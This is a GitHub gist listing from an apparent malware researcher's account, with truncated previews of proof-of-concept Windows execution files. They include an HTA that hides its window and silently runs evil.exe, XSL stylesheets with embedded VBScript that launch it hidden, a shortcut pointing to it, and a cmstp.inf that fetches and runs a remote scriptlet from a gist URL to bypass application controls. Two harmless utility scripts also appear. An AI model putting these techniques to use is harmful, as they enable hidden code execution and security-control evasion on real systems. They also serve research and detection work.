fareedfauzi

🎯

Focusing

Repo for my malware and personal research

fareedfauzi / evil.hta

Last active December 13, 2019 07:29

HTA file

	<HTML>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	<HEAD>
	<script language="VBScript">
	Window.ReSizeTo 0, 0
	Window.moveTo -2000,-2000
	Set objShell = CreateObject("Wscript.Shell")
	objShell.Run "evil.exe"
	self.close
	</script>

fareedfauzi / evil.inf

Last active December 30, 2019 09:03

INF file

	; ----------------------------------------------------------------------
	; Required Sections
	; ----------------------------------------------------------------------
	[Version]
	Signature=$CHICAGO$
	Provider=test
	Class=Printer

	[Manufacturer]
	HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64

fareedfauzi / evil.url

Created December 13, 2019 07:39

URL file

	[InternetShortcut]
	URL=file:///c:\windows\system32\evil.exe

fareedfauzi / argv1.xml

Created December 23, 2019 06:37

XML file

<a></a>

fareedfauzi / jscript.xml

Created December 23, 2019 06:37

XML file

	<?xml version='1.0'?>
	<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:user="http://mycompany.com/mynamespace">
	<!--
	From:
	https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1#file-script-xsl
	-->

fareedfauzi / vbscript.xml

Created December 23, 2019 06:38

XML file

	<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:user="urn:my-scripts">

	<msxsl:script language="VBScript" implements-prefix="user">
	function myFunction()
	set shell=createobject("wscript.shell")
	shell.run "evil.exe",0
	myFunction = 0

fareedfauzi / poc.vbs

Last active December 26, 2019 15:36

VBS file

MsgBox "Bypassed!"

fareedfauzi / cmstp.inf

Last active March 21, 2020 07:30

INF file for cmstp

	[version]
	Signature=$chicago$
	AdvancedINF=2.5

	[DefaultInstall_SingleUser]
	UnRegisterOCXs=UnRegisterOCXSection

	[UnRegisterOCXSection]
	%11%\scrobj.dll,NI,https://gist.githubusercontent.com/fareedfauzi/17705115ffad1d66af5fbbdb0afbca41/raw/e483189823cde37294fd212ce6b552f533158032/evil.sct

fareedfauzi / open_with.bat

Last active December 29, 2019 04:37

Batch file to make a program can be "Open with" when we right click on it.

	@echo off
	echo ====================================================
	echo Example of usage... :)
	echo Enter executable path: C:\Program Files\HxD\HxD.exe
	echo Enter your program's name: HxD
	echo ====================================================
	echo.
	set /p exepath=Enter executable path:
	set /p programName=Enter your program's name:

fareedfauzi / HelloWorld.ps1

Created December 30, 2019 05:22

ps1 file

Write-Output "Hello World"